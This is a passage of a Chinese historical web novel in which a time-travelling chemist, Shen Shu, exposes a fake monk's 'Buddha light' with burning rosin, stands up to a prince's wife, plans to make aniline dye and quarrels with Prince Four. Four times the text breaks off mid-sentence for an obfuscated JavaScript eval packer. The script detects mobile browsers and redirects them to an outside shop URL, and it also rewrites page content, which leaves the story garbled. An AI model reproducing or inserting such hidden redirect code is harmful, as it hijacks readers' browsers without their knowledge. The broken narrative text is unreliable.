很明显,一个正在气头上,而另一个似乎是稳操胜券。 “一言为定!” 十三阿哥此时也觉得沈姝的表现过于淡定,但他就是想看看。 沈姝淡淡的回了一句,“驷马难追。” 接着便问道:“十三爷想在哪里观看?” “我府上。” 十三阿哥说完转身下山,四阿哥微微摇头,觉得十三弟估计是要低头道歉了。 不为什么,因为沈姝表现的过于镇定,那是一种极度的自信。这种气势,他从未在其他女人身上看见过。 四阿哥饶有兴趣的看着沈姝问道:“沈姑娘可是需要准备什么?” “当然。” 沈姝瞥了四阿哥一眼,没有再搭理他,而是转向十四阿哥,“十四爷您能不能帮忙准备一下?” “嗯。” 十四阿哥轻轻点头,今天的沈姝真的不同于往日。 往日的她柔柔弱弱,现在的她仿佛出鞘的宝剑,气势如虹…… 不知道哪一个才是真实的她? 及至山下,四人皆翻身上马。 看着沈姝笨拙往上爬的模样,四阿哥微忍笑意。 然后便看见十四阿哥也翻身上马,上的还是同一匹。他反应过来收回视线,这是十四弟的女人…… 上马之后,十四阿哥低声问道:“需要准备什么?” “磨成粉的松香。” “还有呢?” “松香粉磨的细些,越细越好。” “好。” 然后十四阿哥交代六子去准备,两人驱马一同前往十三阿哥的府邸。 路上,沈姝还有心情学骑马。 见她毫不担心接下来的事情,十四阿哥稍稍放下心来,觉得她应该是心里有谱,无需自己过于担心。 走在前面的十三阿哥问四阿哥,“四哥,你觉得那女人所言有几分可信?” 四阿哥扭头看了一眼在马背上腻腻歪歪的男女二人,微微叹气,“等下看看就知道了。” 十三阿哥以为四阿哥叹气是因为对白云寺这位疑似假货的大师感到失望,被沈姝这么一闹,他也拿不准这位大师到底是真是假。 “四哥,就算这位大师乃招摇撞骗之徒,咱们还可以再继续找其他高人。” 四阿哥不以为意的笑了笑,他又何尝不知有用之人难寻? “不急,有缘总会遇到。” 十三阿哥也回头看了一眼,心里很想知道沈姝究竟有没有这本事。 然而一看到后面这两个粘在一起的人,就忍不住皱眉,寻常女子,哪个是这样的? “这女子,当真是轻浮肆意!” 听十三阿哥这么说,四阿哥没有说话。 轻浮暂且不论,肆意倒是真肆意! 能仗势故意硬怼皇子的民女,他也就只见过这一个。 原来方才的温顺通情理只是假象,也不知道十四阿哥是从哪里找到的这女人? 一行人到了十三阿哥府上没等多久,六子带着一大袋松香粉飞奔而来。 松香并不是什么稀罕物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782341|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,寻常的药店就有,只是磨成粉费了点儿劲儿。 六子对沈姝的话不太相信,但架不住十四阿哥这个主子信,他也只能跟着一起信。 见六子递过去一袋子东西,十三阿哥出声催促,“你准备好没有?” 一接过袋子就嗅到纯正而浓郁的松香味儿,沈姝瞥了十三阿哥一眼,“还差点儿,希望十三爷也准备一下。” “需要什么?” 十三阿哥不太喜欢这种被人不屑一顾的眼神,脸色有点儿黑。 沈姝说道:“炭火盆数只,摆放至日照之地。” “好!” 十三阿哥吩咐下人去准备,他看了几眼沈姝手中的袋子,那里面装的似乎不是香烛。 仿佛知道他在想什么,沈姝扬了扬手中的布袋,“制作香烛太费劲儿,民女先演示一番。倘若十三爷你更喜香烛,可令人将此物大量加入制香物料中。” 谁更喜香烛? 十三阿哥觉得沈姝这般阴阳怪气是想激怒他! 但又发作不出来,难道要说自己不喜欢香烛? 他对香烛又谈不上喜欢与否! 见十三阿哥吃瘪,四阿哥抬头望了望天,不打算帮忙。 这女人,嘴皮子太滑溜! 十四阿哥得意的笑了笑,“阿姝,咱们别让十三哥等急了。” “嗯。” 沈姝故作乖巧的点点头,朝十三阿哥做了个“请”的手势。 十三阿哥的脸更黑了,一甩袖子率先走到院子中。 院内,六只火盆依次排成一列。 沈姝朝六子说道:“麻烦小六哥帮忙将火盆按我说的摆放。” 听到沈姝如此称呼,六子连忙说道:“小姐您折煞奴才了,奴才可当不得这个称呼!” 说完他赶紧过去端火盆,静待沈姝吩咐。 “这里、这里……” 顺着沈姝手指的方向,六子将火盆围成一个小圈。 而沈姝则是站在火盆圈内朝他说道:“将此物分成六份,同时倒入火盆。” 六子在分松香粉,其他人或远或近的围观。离得近的是十四阿哥和四阿哥他们,站的远的是十三阿哥府里的下人。 随着松香粉被投入到燃烧的火盆中,光晕缓缓凝聚,将背对着烈日的沈姝笼罩其中。 此时的沈姝,从正面逆光看去,光芒四射,甚是耀眼! 院子里不知道是哪个下人失声喊道:“女菩萨显灵了!” 十三阿哥这次没有惊呼,表情却难掩惊愕,原来真的只是小把戏而已…… 眼见周围不明真相的下人居然对着自己跪下了,沈姝微微摇头,抬步走出火盆的包围,走向十三阿哥。 四阿哥正站在十三阿哥身旁,定定的看向走过来的沈姝。 “其始来也,耀乎若白日初出照屋梁;其少进也,皎若明月舒其光。”(注) 一瞬间,四阿哥脑海中浮现出这段曾经看过的词赋。 巫山神女,大抵如此! 不止是四阿哥,站在一侧的十四阿哥也看呆了,他的阿姝实在是让人惊艳! “怎样,十三爷可还满意?” 沈姝站定,看向十三阿哥,语气中带着挑衅的意味。 5. 第 5 章 没有心思理会得意洋洋的沈姝,十三阿哥迈步走向火盆中间。 “四哥,我有光吗?” 十三阿哥高声问向外面的四阿哥。 四阿哥看向他回答道:“有,较之大师更盛。” 十三阿哥不傻,知道秘密就在那袋东西里,“那袋子里是什么东西?” 沈姝没有故弄玄虚,一语道破真相。 “松香粉末。造成这种现象不过是光线在烟雾中的折射和反射。” “光线?折射反射?” 松香他知道,但十三阿哥听不懂沈姝在说什么。 “……” 沈姝后知后觉的发现自己犯了职业病,顺嘴说多了,不应该给这些人科普。 说都说了,看着几位阿哥看向自己,她故作淡定的轻挑眉毛,继续对着十三阿哥开嘲讽。 “这是科学道理呀,怎么十三爷你居然没有听说过吗?” “你说的是洋人的那些东西?” 科学一词十三阿哥还真听说过,是从洋人口中,而且他还跟洋人学过一些新鲜玩意。 但什么折射反射的,还真不知道。 别说是十三阿哥不知道,四阿哥和十四阿哥也不知道,所以他们二人明智的保持了沉默。 不过他们都知道洋人,毕竟洋人还给他们的皇阿玛当过老师。 “嗯。” 沈姝点点头,很好,应该是已经圆了过去。 撇开这一茬,她接着转换话题,还故意说的意味深长,“十三爷是君子,想必不会食言而肥……” 这是明晃晃的在挤兑人! 十三阿哥倒不是特别的生气,只是看不得沈姝这副得意的小模样。 这女人,说话总是夹枪带棒的! 十四阿哥在一旁不怀好意的催促,“是啊十三哥,这话过去还没半天呢,不能这么快就忘了吧!” “咳咳……” 四阿哥干咳两声,不顾兄弟情分的保持了沉默,静观沈姝张牙舞爪。 道歉而已,没想要赖账,他不是那种人! 十三哥走上前去,表情郑重,“抱歉沈姑娘,我不应言语间波及于你。” 末了又道:“另外的事情,我会处理。” 沈姝神情淡然的说道:“我接受你的道歉。” 然后行礼告辞。 十四阿哥见状也一道告辞,二人一并离开。 见人走远,十三阿哥才气呼呼的摇头,“这女人,牙尖嘴利气性大!” “咳咳……” 四阿哥又咳了两声。 知道自己碰了一鼻子灰,被个女人给奚落了,十三阿哥见状没好气的说道:“四哥,你想笑就笑吧,别一直憋着!” “呵呵……” 四阿哥果然笑了又笑,拍着十三阿哥的肩膀说道:“你说不过她,下次别再招惹她了。” 顿了顿又道:“那僧人借机敛财,确实应该整治一番。” 十三阿哥点点头,“说起来她还算是做了件好事。” 这就是他不太反感沈姝的原因,即便是试图激怒自己,也不忘惦记着收拾骗子。 围着炭盆转了一圈,十三阿哥面带疑惑的自言自语,“确实只是粗劣的小把戏,可那女人怎么知道这些?” 四阿哥笑着说道:“兴许是跟洋人学过,对了十三弟,你不是也正在跟洋人学那个什么,不若问问看。” 十三阿哥点点头,他自认才学在众兄弟间不算差,也跟洋人学过一些。 这女人,明显是在嘲讽他才识浅薄,少见多怪! 四阿哥知道十三阿哥勤敏好学,所以才这样说,也知道十三阿哥会去问。 这其中还暗含私心,那就是他想要多了解些这位娇俏伶俐而又狡黠张扬的沈姑娘。 而沈姝虽然不知道四阿哥所想,却觉得自己应该是已经引起了他的注意。 现在她还不确定到底要用哪种方法完成任务,是依附于十四阿哥使劲儿的跟四阿哥作对,到时候被清算? 还是找机会混进四阿哥府再疯狂作死,让他忍无可忍的干掉自己? “阿姝,你怎会知道这么多?” 马背上,十四阿哥的话打断了沈姝的思绪,她随之开始谎话现编,“我自幼喜看杂书,对这些奇淫巧技有所了解。” 这话也不算十成十的假,原主的祖父是一位老秀才,说起来也算是书香门第。 所以原主确实是自幼读书,只不过读的更多是《女四书》等以“女”字开头的书。 即便是假,原主亲人俱亡,沈姝觉得反正已经死无对证。 十四阿哥倒是没有怀疑,这些在他看来确实是奇淫巧技,不足为道! 一路上,沈姝附和着十四阿哥,顺便继续学习骑马,二人共骑回到府中。 用过晚饭后,沈姝的麻烦来了。 因为一个嬷嬷来传,说是十四阿哥的福晋要见她。 福晋就是正妻,沈姝觉得在对方眼中,自己应该算是那种惹人厌的狐媚子。 这位福晋的气性还算好,没有在一开始就传唤自己,而是忍了好几天。 跟随前面挑着灯笼的中年麽麽,沿着蜿蜒曲折庭院小径穿过一道圆形小门,进入一处四方的大院内。 正房的屋子里,灯火通明。 沈姝跟着麽麽进入屋内,看见这位端坐在正座上的女主人。 珠翠点满的钿子头,花团锦簇的锦绣衣,无不显露出雍容华贵的气势。 还有这表情,一看就像是找茬的。 沈姝站定后,腰板笔直的慢慢蹲下,沉声道:“民女沈姝见过福晋。” 而后又缓缓站起。 她尊重十四阿哥的福晋,但又不愿失了自己的体面。 所以行的不是跪安礼,而是肃立礼。 “你就是沈姝?” 十四福晋轻拨茶盏,挑剔的看着沈姝。 她看得很清楚,这女人,一点儿诚惶诚恐的拘谨都没有。想必是觉着得了十四爷的青睐,就可以无法无天。 “是。” 话音刚落,“哐”的一声,一盏热茶砸到了她脚前,茶水溅了到了裤腿上。 沈姝垂首静立,心中厌烦。 这就是传说中的宅斗刁难? 当真是无趣、无聊! 可偏偏她还不能无所顾忌的反击回去…… 见沈姝站着像根桩子似的,十四福晋厉声道:“沈氏,你可知错?” 她已经听说,今日这狐媚子跟着十四爷在光天化日之下共骑而行,简直是不知羞耻! 沈姝知道,在这位女主人眼中,自己肯定是有错的。 可她有选择的余地吗? 难道要她现在就顶撞十四阿哥这个能拿捏自己生死的人? 那死就白死了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782342|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没钱拿! 就像此时,她不得不在这里忍受刁难,是因为付不起反抗的代价,而不是不想反抗! 尽管如此,对于十四阿哥的这位福晋,沈姝不能完全低头。 因为她并不想陷入内宅,闹起来让十四阿哥头疼也方便下一步伺机而动。 所以沈姝硬顶了一句,“还请福晋明示。” “沈氏,你当真不知错?” 这在十四福晋看来就是肆无忌惮的顶撞,一连串的怒斥劈头盖脸,“沈氏你举止轻浮勾的十四爷在大庭广众之下打情骂俏,损了皇子清誉,到底是何居心,想置十四爷的颜面于何地?” 沈姝觉得这话应该冲着十四阿哥说才对! 共骑又不是她的主意,也不是她能决定的。 至于打情骂俏? 沈姝不这么认为,至于十四福晋如何认为,她管不了。 事实就是十四福晋只敢捏自己这个软柿子,不敢去怼十四阿哥这个始作俑者。 她抬头看着十四福晋,直接说道:“民女自认与十四爷之间并无逾越,即便是福晋认为有,也应该去问十四爷。” 这话直接气的十四福晋火冒三丈,重重的一拍桌子,“放肆!拿下!” 话音刚落,沈姝蹲下来迅速捡起碎瓷一片卡在自己脖子上,面容冷冽的扫了一眼冲过来的健妇仆从。 而后朝十四福晋肃声道:“不知福晋是以什么名义来拿下我的?” 接着不给十四福晋说话的机会,沈姝冷笑一声,“我沈姝出身良家,落脚于十四阿哥府,只是客人,并不是十四阿哥府未过门的贱妾!” “你、你!” 这番话说的十四福晋猛的站起身来,指着沈姝气的直哆嗦。 而周围的健妇,早在沈姝刎颈威胁时已经停了下来,不敢硬来。 毕竟,这位可是十四阿哥看重的女人。 真要把这狐媚子当场逼死,她们福晋能落得什么好? 眼见十四福晋对自己怒目相向却说不出其他,沈姝环视一周,收回视线后淡然的放下碎瓷片,从容的转身离去。 她一句话都没有说,但没有人再阻拦。 “贱人,装什么贞洁烈女!” 身后响起十四福晋迟来的叫骂声,以及“砰砰砰”的砸东西声音。 沈姝不屑一顾,捏着瓷片自行回去。 一个当家主母可以整治家中女眷,但不能肆意处决客人。 这个道理沈姝懂,十四福晋是被怼了一通才记起,至少明面上这女人是客。 虽然她一直都认为沈姝的身份至多是个侍妾,可十四阿哥从与她行周公之礼。 管事嬷嬷见状劝道:“福晋莫要气坏了身子,待这狐媚子进门之后,还不是任您随意拿捏揉搓?” 不仅是福晋被镇住,连她也被唬住了。 一上来就寻死觅活贱人,她们还真没遇见过。 “看看她那猖狂样儿,要真是进了门,家里还能安生吗?” 第一次碰面,十四福晋就发现沈姝不是好惹的。 而经此一事,沈姝是真不想在这里继续待下去。上辈子潇洒自在连婚都没结,这辈子却要被迫在这里搞宅斗? 算了吧,没有这兴趣。 可先不说她根本无处可去,就算是想搬出去,也要十四阿哥同意才能行。 所以这事急不得,要慢慢来。 6. 第 6 章 晚上十四福晋屋里发生的事情,次日十四阿哥已经知道了。 他先是斥责了自己的福晋,让她以后不要苛待刁难沈姝。 接着又过来找沈姝,想要安抚她。 沈姝觉得十四福晋应该才是需要安抚的人,不过这话若是从她口中说出,未免茶里茶气。 所以她没有这样说,而是说起了自己,“十四爷,祖父之仇尚未得报,民女实在是不想过多考虑儿女情长……” 这是一种变相的拒绝,沈姝希望十四阿哥能听明白。 但这不是他想要的结果。 十四阿哥轻声安慰:“阿姝,我知你心中哀伤。弹劾的事情,还没有结果,我会帮你。” 见十四阿哥这样,沈姝没有再多说什么。 多说无用。 十四阿哥是救了她,对她也算不错。 可沈姝给不了他想要的,他也给不了她想要的。 沈姝自认不是忘恩负义之人,她想帮一下十四阿哥。 至少他花在自己身上的钱,要先还回去。 “报仇不是一朝一夕之事,民女懂,可以等。” 沈姝先是附和了一句,而后才看着十四阿哥继续说道:“民女之前曾说擅长奇淫巧技。其实对于染料有一定的研究,可研制出一种用以织染的紫色染料,不知能否帮到十四爷?” 古代以紫为贵,什么紫气东来、紫禁城,都带紫。 身为化学教授,沈姝当然知道在这个时代紫色染料不易得。 自然界紫色颜料不算罕见,至于染料? 奇缺! 因为染料必须要经得住“水洗的考验”,意味着染料必须要和面料发生化学反应才能紧密的结合在一起。 否则洗一次衣服掉一次色,多洗几次还有色吗? 不是任何颜料都能成为染料,此时虽然有紫色织物,料想应该不可能太鲜亮。 无论是为了报恩还是提升自身的价值,沈姝都不得不继续老本行,搞化学实验来合成苯胺紫这个染料。 苯胺紫的合成原料包括苯和硝酸,这两种东西的制取需要十四阿哥的支持。 否则她自己连原料和实验设备都凑不齐。 “阿姝你还有这手艺?” 十四阿哥不懂织染,但知紫色乃尊贵稀有之色。因着佛光普照之事,他丝毫没有怀疑沈姝的本事,反而是欣喜不已。 “嗯。” 沈姝没有拍着胸口保证,而是说道:“有一残方,需要多试几次才行。” 十四阿哥听完高兴的说道:“既是如此,我让六子任凭你差遣,看看都需要准备什么。” 八阿哥现在领办内务府事宜,而内务府之下有江宁织造等三大织造局。 他觉得如果沈姝真能做到,不仅能帮八阿哥让皇阿玛龙颜大悦,还能趁机请求皇阿玛同意她入旗。 如他这般的阿哥,府中只能有一位福晋,两位侧福晋,这些是上玉碟的。 现在他尚可再添一侧福晋,但沈姝的出身过于低微,肯定不可能被册封。 因为无论是福晋还是侧福晋,均要出身自上三旗。而沈姝根本不是旗籍,连汉八旗都不是。 按祖宗规矩,满汉不通婚。 别说是侧福晋,即便是想纳了她,都必须使她先入旗籍。 之前是没有机会,现在有机会,十四阿哥还是想要给沈姝一个名分,至少也要是庶福晋,而不是侍妾这种通房丫头。 而沈姝不知道十四阿哥的想法,还以为自己第一步已经成功,接下来继续道:“可是不仅需要很多东西,还需要很大的地方呀!” 说着她故意四下看了看自己的住处,“在这里必定是不行的,十四爷民女能不能在郊外选一开阔之地?” 半个月前救下沈姝的时候,单见她貌美,未曾想还有如此才情。 十四阿哥对于她的要求,简直是有求必应,“都依你,我在郊外正好有处庄子,明日让六子带你过去,缺什么了尽管说。” 顿了顿他又添了一句,“福晋以后要是再欺负你,记得告诉我。” 沈姝居然没有主动找他诉苦告状,十四阿哥更是觉得她乖巧识大体,同时倍感怜惜,不忍她受欺负。 要是沈姝知道十四阿哥是这么想的,估计直想翻白眼。 告状? 她沈某人自行能解决的事情,从来不需要靠打小报告来达到目的。 “嗯,谢谢十四爷。” 沈姝暗暗的松了口气,终于有合理外出的理由。天知道,窝在这里,闷的不能行! 两个人又说了会儿话,沈姝老老实实的扮演着温柔可人的模样,主要负责倾听。 十四阿哥还算知礼,不曾有轻薄之举。 因为他自诩为君子,要的是两情相悦。 得到十四阿哥的允许,沈姝便可以光明正大的出门了。 六子是十四阿哥的管事小厮,无论是掏钱跑腿、还是指使人,都能面面俱到。 “小姐,您要的炉子正在造,石炭、硝石、绿矾等正在收集……” 汇报完之后,六子欲言又止。 沈姝看了他一眼,“有话直说。” 这几天相处下来六子知道沈姝平易近人,说话做事都很直接,所以讪笑两声问出了心中疑惑,“恕奴才愚钝,您这是要炼丹吗?” 这些应该就是那些炼丹的道长才会需要的东西,但完全看不出来沈小姐还是位炼丹师,炼丹师不都是道士吗? 这问题问的,沈姝摇头不是点头也不是。 主要是她懒得给六子解释什么叫化学,但又没办法给一个说法。 想了想只得说道:“不炼丹,炼别的。” 六子看向沈姝眼神中先是闪过质疑,而后想到佛光普照一事,又压下了疑虑。 在他看来,这位沈小姐,确实是非比寻常。说不定真能炼出来什么好东西呢! 知道六子的疑惑,沈姝不予理会,她只需要制作出苯胺紫即可。 “走吧,咱们去街市溜达溜达,我想买些布料做衣服。” 化学实验具有一定的危险性,否则沈姝也不会被炸到这里来。 所以必要的防护服是需要的,她需要去看看什么布料比较厚实,另外还需要一副平光镜做防护镜。 这些只能自己亲自去找。 “好勒!” 六子应下之后,便赶着马车带沈姝去往四九城最繁华的地方。 其实他觉得应该坐轿子的,四九城里,哪家的贵女坐马车啊? 说出去会坠了十四阿哥府的名头! 可沈小姐就是这般的不讲究,六子也没办法。他可是听说了,沈小姐跟福晋杠着来的事情。 关键是十四爷呵斥了福晋,可见这位沈小姐的分量。 以十四爷现在的热乎劲儿,六子觉得自己还是安安分分的听话比较好。 街道上商铺林立,车马人流穿梭不止,停下车后,他扭头说道:“小姐,这一条街上都是丝绸大商号,您要的东西在这里要是找不到,其他地方更是不行!” “丝绸?” 沈姝皱眉,刚才在马车上透过帘子她还以为这些商号是布店呢。 想了想直接说道:“咱们去麻布店。” 因为麻布更耐腐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782343|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蚀。 “麻布?” 六子不明所以,这、这谁家穿麻布啊? 又不是要披麻戴孝…… “哎呦小姐,您这不是为难奴才嘛?” 六子苦着一张脸,“十四爷要是知道您穿麻布衣,还不得打死奴才啊!” 沈姝瞥了他一眼,“按我说的办,十四爷不会为难你。” “可……” 坐马车也就罢了,再穿麻衣,六子怀疑自己真会被十四阿哥训斥。 沈姝解释了一句,“炼制东西用的。” 听她这么说,六子为难的点点头,“那、那我带您去。” 到了麻布店,买过几丈褐色麻布之后,沈姝交代道:“麻烦帮我做成褂子,就是你们十四爷骑马时穿的那种。” 听了这个吩咐,六子不知道该说什么好。 这是什么奇怪的要求? 炼丹不穿道袍居然要穿褂子…… 见六子面带难色,沈姝问道:“很麻烦吗?” “……不麻烦。” 六子不知道该说什么,算了,等回去就汇报给十四阿哥知晓。 买完麻布,接下来就是眼镜,顺便还要打听一下此时能不能烧制烧杯等实验器皿。 又听沈姝说要买眼镜,六子越发无语。 反正他是没见过道士戴眼镜,也没听说过炼丹需要眼镜这种东西。 “那奴才带您去眼镜店。” 没想到这个时代居然还有眼镜店,沈姝很是好奇。 这么说,她想要的烧杯有着落了。 正好带着图纸,等会儿到店里问问看能不能定制。 眼镜店的大堂中一个人都没有,看起来门可罗雀。 不同于后世的眼镜店,眼镜都摆放在玻璃柜中或架子上,若不是六子说这里就是眼镜店,一点儿都看不出来。 因为进来之后一副眼镜都看不到。 此时的眼镜是贵重的奢侈品,专属于富贵人家。 而沈姝过于素静,衣着并不华丽,还是坐着马车来的。 店里的伙计一眼断定她买不起,态度很是冷淡,就差撵她出去了。 停好马车的六子一进门看见沈姝东张西望,而伙计一动不动的连杯茶水都没有奉上,顿时破口大骂。 “瞎了眼的狗东西,也不瞧清楚咱们小姐是谁家的,胆敢如此怠慢!” 突然被骂了个狗血淋头,伙计有点儿蒙。 这年头敢在这里骂骂咧咧的,可都不是一般人儿。 当然,傻子除外。 伙计迎了上来,态度很是恭敬,“这位爷,您……” “滚开!” 六子踹了他一脚,一点儿都不领情。 “喊你们掌柜的出来!” 虽然伙计先敬罗衫后敬人,沈姝微微摇头,朝六子说道:“算了。” “怎么能算了?” 六子一脸的气呼呼,“要是让十四爷知道奴才跟着您还被这些个不长眼的狗东西轻视怠慢,还不知要怎样!” 沈姝想叹气,六子的声音太大了,生怕别人不知道他是十四阿哥的人。 “我不在乎这些,天儿不早了,买过东西咱们赶紧回吧。” 六子看着沈姝,觉得她不上趟儿,这时候应该拿出跟福晋硬杠的本事来呀! 不过伙计一听到十四爷这个称呼,立刻就明白到底是谁家的了。 整个四九城,有几个十四爷啊? 于是连忙又过来赔不是,却没有去喊掌柜的,因为里面还有一位爷…… 不过里面的人听到外面的声音,已经走了出来。 7. 第 7 章 “四爷吉祥!” 六子看到走出来的人是四阿哥,连忙上前行了个礼。 四阿哥则是看向沈姝,刚才他听到了她的声音。 迎上四阿哥的目光,沈姝草草行礼,“见过四爷。” 她的态度谈不上恭敬,显得有些冷淡。 算是故意为之,因为沈姝的目标不是讨好四阿哥。 四阿哥先是微微颌首,接着明知故问,“沈姑娘也来买眼镜?” “嗯。” 沈姝点点头,而后不再搭理四阿哥,朝伙计说道:“你们的眼镜呢,拿出来看看。” 这女人,胆子可真够大,愣是不把这位四爷放在眼里! 一旁的伙计和掌柜看的是战战兢兢,听了沈姝的话反而看向四阿哥。 四阿哥见状轻斥一声:“还愣着做甚?” 见他发话,掌柜才带着伙计将木盒中的眼镜都拿出来。 沈姝朝四阿哥说道:“四爷,民女要挑选一番,您请自便。” 而后开始低头翻看这些眼镜。 六子在一旁没有吭声,却想不明白为什么沈姝对四阿哥如此不客气,却愿意不计较伙计的怠慢。 沈姝挨个的看,掌柜亲自介绍,“小姐您手里拿的这个适合年纪稍大点儿的人,旁边这个您可以试试……” “可有平光镜?” 这些眼镜大都是老花镜或近视镜,从镜片弧度来看度数不算高,重量不算轻。 只是她视力没有问题,想要平光镜。 掌柜被问的有些蒙,不知道该怎么回答。 也许这里没有这种叫法,沈姝解释道:“就镜片平如水的那种,最好是玻璃的。” 可掌柜觉得这里的眼镜,哪个是坑洼不平的? 看掌柜的表情就知道自己的表述依旧未能被理解,沈姝有点儿头疼,不得不继续解释。 “就是透明无色的玻璃,直接做成眼镜,不需要任何磨制。” 听明白了,但掌管面露难色,“按您的吩咐,估么着得定做。” “那麻烦了。” 沈姝点点头,接着从衣袖中拿出来几张卷着的宣纸打开放在柜台上,这上面画的是玻璃器皿的三维图及平面图。 “这种玻璃器具店里可以定制吗?” 他们这是眼镜店,又不是玻璃厂! 掌柜讪讪的摇摇头,“这些咱们店里做不了……” 沈姝有些失望,按道理来说都有玻璃眼镜了,没道理不能做其他玻璃制品。 此时一旁的四阿哥忽然伸手拿起柜台上的宣纸,看着沈姝问道:“沈姑娘要这些器具做何用?” 纸上的器具画的很逼真,但奇形怪状,他只是有些好奇。如此多的玻璃器具,打造起来,要花不少钱。 做什么,沈姝不想解释,刚才说个平光镜就够费劲儿的。 要是说做化学实验用,说不定还得接着解释化学是什么,实验又是什么。 “抱歉,这是秘密,不能告诉你。” 沈姝说着伸手去抽四阿哥手中的图纸,结果抽不动,便抬头看向他,语气很是不客气,“松手。” 网上说此人脾气暴躁,沈姝就是想惹他生气,最好能气到一拳打死自己。 不过想是这么想,但知道应该不会,四阿哥应该还不至于傻到当街亲自动手打死人的地步。 而后面站着的六子见状脸色一变,没等四阿哥开口,“噗通”一声跪倒在地, 哆哆嗦嗦的为沈姝开脱,“四爷恕罪,沈小姐出身民间不懂礼数,若是得罪了您……” 他怎么都没想到沈姝居然胆敢如此无礼! 别说她还没进门,就算是十四福晋,也不敢对四阿哥无礼至此! 上次在白云寺她挑衅十三阿哥,那是十四阿哥在场,也有意纵容。 可现在十四阿哥不在,她怎么敢啊! 四阿哥看着沈姝的双眼,这是一双黑白分明的美目。分明到对自己的不喜是如此的明显,丝毫不加掩饰。 “聒噪的狗奴才,滚!” 他说这话的时候并没有暴怒的表情,只是脸色微沉,话是对六子说的,却没有看向他,而是看着沈姝说的。 六子哪里敢真的滚开啊,听得出来四阿哥的怒意,于是抬头看向无动于衷的沈姝,央求着:“沈小姐,您赶紧的跟四爷赔个不是……” 沈姝才不怕四阿哥冷着的脸,巴不得他一巴掌赶紧拍死自己。 她也没有看六子,而是对着四阿哥说道:“六子起来,四爷又不是食人的野兽,你这样倒让人误会。” 这话说的,跟骂人似的。 一旁的掌柜和伙计都眼观鼻鼻观心的噤若寒蝉,恨不得自己耳朵已聋。 四阿哥很确定,沈姝就是在故意针对自己。听说她是十四阿哥外出救回来的人,如此这般是在与她的救命恩人同仇敌忾吗? 四阿哥知道一母同胞的亲弟弟十四阿哥对自己很是冷淡,偶有怨言。 所以他认为沈姝如此态度,应是受了十四阿哥的影响。 否则为何会如此? 明明他又不曾得罪于她! 回想起沈姝挤兑十三阿哥的时候,亦是这般的无所畏惧。 即便是心有不愉四阿哥也生不起气来,这是真性情,他倒不至于为难一小女子。 但并不是所有人都同他这般大度不计较,所以他责备了一句,希望她能收敛一二。 “十三阿哥说的对,你确实是牙尖嘴利。” 沈姝当即反唇相讥,“不问自取。” 这个词语让四阿哥愣了一下,因为不知道是什么典故。 微微皱眉,思索片刻,他反应过来。 《训蒙文》有云:用人物,须明求,倘不问,即为偷。 所以这是在骂自己是拿她的画是为盗? 四阿哥觉得这种骂人的方式很有趣,若非他还算得上是读书多,当真是被骂了还不自知。 同时他又觉得沈姝对自己有误解,刚想要开口。结果就见她连画都不要了,直接转身说了一句,“走,六子。” 六子见沈姝径直离开,连招呼都不给四阿哥打一个。他可不敢马上跟过去,而是还跪在地上正待跪安。 然后就听四阿哥斥道:“还不快滚!” “嗻。” 六子见状连忙告退,走出店门后才擦了擦额头上的冷汗。 方才那是什么场面? 他是真想不通沈姝为何如此、如此的妄为? 而眼镜店里的四阿哥,看着沈姝走出了门,复又低头看了看手中的画,眼神中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782344|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不禁流露出一丝无奈。 十三弟说的不错,她确实气性大…… 但她这个人,还不错。 之前在白云寺,故意激得十三弟去惩治故弄玄虚的大师,意在为民除害。 刚才在店里,又制止小厮为难伙计,这说明她根本不是那种飞扬跋扈之人。 拿着画走出眼镜店,四阿哥翻身上马,直奔十三阿哥府而去。 十三阿哥曾研究过洋人的画技,四阿哥想让他看看沈姝的画。 一看到十三阿哥,四阿哥就问道:“十三弟,你看看这上面画的是什么?” 十三阿哥不愧是见多识广,看了一眼就能断定这是什么。 “四哥,若是我没有猜错,这东西应该是洋人的图纸。” 四阿哥当然知道这种毫无美感的东西是图纸,类似于工事图,他想知道这是什么图纸。 “那依你看来这是用来做什么的?” “看不出来。” 